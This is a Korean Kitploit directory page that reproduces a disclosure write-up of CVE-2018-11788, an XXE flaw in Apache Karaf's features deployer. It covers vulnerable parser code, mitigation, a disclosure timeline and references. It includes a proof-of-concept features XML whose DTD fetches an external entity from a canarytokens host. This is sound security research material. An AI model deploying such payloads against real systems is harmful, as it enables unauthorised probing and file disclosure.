Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-11788 — Apache Karaf XXE 취약점 (CVE-2018-11788) | Kitploit
도구/GitHubGitHub/brianwrf/cve-2018-11788
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubbrianwrf/cve-2018-11788

CVE-2018-11788

Apache Karaf XXE 취약점 (CVE-2018-11788)

저장소 보기
3767년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

요약

Apache Karaf는 현대적이고 다형적인(polymorphic) 애플리케이션 컨테이너입니다. OSGi로 구동되는 경량이면서도 강력하고 엔터프라이즈 환경에 적합한 컨테이너입니다. Apache Karaf는 '제품 프로젝트(product project)'로서 완전하고 턴키(turnkey) 방식의 런타임을 제공합니다. 이 런타임은 '다중 측면(multi-facets)'을 지니고 있어 OSGi 또는 비OSGi, 웹 애플리케이션, 서비스 기반 등 다양한 종류의 애플리케이션을 배포할 수 있습니다.

Apache Karaf에 대한 최근 연구에서 저는 해당 XML 파서에 XXE(XML eXternal Entity injection, XML 외부 엔티티 주입) 취약점이 존재함을 발견했습니다. 이는 파서가 XML 문서를 부적절하게 파싱하기 때문에 발생합니다.

영향을 받는 버전

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6

분석

공식 매뉴얼에 따르면, Apache Karaf는 기본적으로 features 디플로이어를 제공하며, 사용자가 파일을 deploy 폴더에 직접 넣어 features XML을 "핫 배포(hot deploy)"할 수 있게 해줍니다.

deploy 폴더에 features XML을 넣으면 features 디플로이어는 다음을 수행합니다:

  • features XML을 features 저장소로 등록합니다
  • install 속성이 "auto"로 설정된 features는 features 디플로이어에 의해 자동으로 설치됩니다.

예를 들어, deploy 폴더에 다음 XML을 넣으면 feature1과 feature2는 자동으로 설치되지만 feature3는 설치되지 않습니다:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">

    <feature name="feature1" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature2" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature3" version="1.0">
        ...
    </feature>

</features>

디플로이어가 XML 파일을 어떻게 처리하는지 알아보기 위해 Github에서 Karaf의 소스 코드를 확인했고, 다음과 같은 호출 과정을 발견했습니다:

  • Activator 클래스는 doStart() 함수를 호출하여 디플로이어용 리스너(listener)를 시작합니다
  • doStart() 함수는 FeatureDeploymentListener.init()을 호출하여 리스너를 초기화합니다
  • 그런 다음 bundleChanged - canHandle - getRootElementName 함수를 호출하여 XMLInputFactory를 이용해 XML 문서를 파싱합니다

하지만 아래의 getRootElementName 함수를 더 자세히 조사한 결과, XXE에 대한 어떠한 방어 조치도 없었습니다.

root@kitploit:~
private QName getRootElementName(File artifact) throws Exception {
    if (xif == null) {
        xif = XMLInputFactory.newFactory();
        xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
    }
    try (InputStream is = new FileInputStream(artifact)) {
        XMLStreamReader sr = xif.createXMLStreamReader(is);
        sr.nextTag();
        return sr.getName();
    }
}

따라서 저는 이것이 Apache Karaf에 잠재적인 보안 위험을 초래한다고 판단했습니다.

개념 증명(Proof of Concept)

제 가정을 검증하기 위해 https://karaf.apache.org/download.html에서 다운로드한 최신 공식 릴리스인 Apache Karaf 4.2.0에서 다음과 같이 테스트했습니다.

  1. Apache Karaf 4.2.0에서 바이너리 배포판을 다운로드합니다
  2. 패키지의 압축을 풀고 bin 폴더로 이동하여 아래와 같이 Karaf 명령 콘솔을 시작합니다
root@kitploit:~
  bin$ ./karaf
          __ __                  ____      
         / //_/____ __________ _/ __/      
        / ,<  / __ `/ ___/ __ `/ /_        
       / /| |/ /_/ / /  / /_/ / __/        
      /_/ |_|\__,_/_/   \__,_/_/         

    Apache Karaf (4.2.0)

  Hit '<tab>' for a list of available commands
  and '[cmd] --help' for help on a specific command.
  Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.

  karaf@root()>
  1. https://canarytokens.org/generate에서 DNS 토큰을 생성합니다(예: 27av6zyg33g8q8xu338uvhnsc.canarytokens.com)
  2. XML 파일을 제작하고 아래와 같이 생성된 DNS 토큰이 DTD에 포함된 외부 엔티티를 추가합니다:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
  1. 제작한 XML 파일을 deploy 폴더에 복사합니다
root@kitploit:~
apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
  1. 잠시 기다리면 테스트 머신에서 DNS 요청이 발생하는 것을 확인할 수 있습니다. 이는 XML 파서가 DTD에 포함된 외부 엔티티를 로드하려고 시도하고 있음을 의미합니다

완화 방안(Mitigation)

이 취약점을 예방하기 위한 간결한 정보를 제공하는 아래 OWASP 가이드를 따르십시오. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

예를 들어, getRootElementName 함수에 아래 코드를 추가하여 DTD와 외부 엔티티를 비활성화할 수 있습니다.

root@kitploit:~
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

추가 정보

위에서 언급한 발견 외에도, Apache Karaf 프로젝트의 또 다른 클래스인 XmlUtils도 XML 문서를 파싱할 때 XXE 취약점에 대한 어떠한 보호 조치도 추가하지 않았음을 발견했습니다.

root@kitploit:~
package org.apache.karaf.util;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;

import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;

/**
 * Utils class to manipulate XML document in a thread safe way.
 */
public class XmlUtils {

    private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();

    public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(uri);
        } finally {
            db.reset();
        }
    }

    public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(stream);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        db.setErrorHandler(errorHandler);
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer();
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer(xsltSource);
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
        SAXParserFactory spf = SAX_PARSER_FACTORY.get();
        if (spf == null) {
            spf = SAXParserFactory.newInstance();
            spf.setNamespaceAware(true);
            SAX_PARSER_FACTORY.set(spf);
        }
        return spf.newSAXParser().getXMLReader();
    }

    public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
        if (dbf == null) {
            dbf = DocumentBuilderFactory.newInstance();
            dbf.setNamespaceAware(true);
            DOCUMENT_BUILDER_FACTORY.set(dbf);
        }
        return dbf.newDocumentBuilder();
    }

    public static Transformer transformer() throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer();
    }

    private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer(xsltSource);
    }

}

타임라인

  • 2018-08-22: 이 문제를 Apache 보안 팀에 신고했습니다.
  • 2018-09-26: Apache Karaf 팀이 KARAF-5911에서 문제를 확인하고 수정했습니다.
  • 2018-11-30: 수정 사항이 포함된 Apache Karaf 4.1.7이 릴리스되었습니다.
  • 2018-12-18: 수정 사항이 포함된 Apache Karaf 4.2.2가 릴리스되었습니다.
  • 2019-01-06: Apache Karaf가 이 문제에 대해 CVE-2018-11788을 공지했습니다.

참고 자료

  • https://karaf.apache.org/security/cve-2018-11788.txt
  • https://issues.apache.org/jira/browse/KARAF-5911
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=cc3332e
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=1ffa6d1
  • http://avfisher.win/archives/1052
도구 다운로드